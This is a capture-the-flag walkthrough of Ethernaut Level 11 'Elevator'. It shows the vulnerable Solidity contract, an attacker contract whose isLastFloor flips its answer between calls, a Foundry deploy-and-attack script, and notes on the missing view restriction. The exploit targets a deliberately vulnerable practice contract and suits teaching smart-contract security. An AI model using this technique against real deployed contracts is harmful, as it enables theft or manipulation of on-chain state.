Level 11 - Elevator ⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
    function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
    bool public top;
    uint256 public floor;
    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);
        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}Exploit
top must first return false when called, then true the next time. The interface for Building is set to msg.sender. 
- Create a contract that exploits this by implementing a function - isLastFloorthat sets- topto- true.
make anvil-exploit-level-11
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-11
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
// ================================================================
// │                        LEVEL 11 - ELEVATOR                   │
// ================================================================
interface IElevator {
    function goTo(uint256 _floor) external;
}
contract Building {
    IElevator targetContract;
    bool public last = true;
    constructor(address _targetContractAddress) payable {
        targetContract = IElevator(_targetContractAddress);
    }
    function isLastFloor(uint256 _floor) public returns (bool) {
        if (_floor > 0) {
            last = !last;
            return last;
        } else {
            revert("Invalid floor");
        }
    }
    function attack() public {
        targetContract.goTo(1);
    }
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {Building} from "../src/Level11.sol";
// ================================================================
// │                        LEVEL 11 - ELEVATOR                   │
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        vm.startBroadcast();
        Building building = new Building(targetContractAddress);
        building.attack();
        vm.stopBroadcast();
    }
}- Submit instance... 🥳 
Completion Message
Notes
- The function - isLastFlooris called twice, with the returned value changing for the same input as the state is changed.
- If the - isLastFloorhad been restricted to view, then this attack wouldn't be possible (unless it was calling a library, which doesn't have runtime checks to make sure it doesn't modify the state when it says it's view)
Last updated

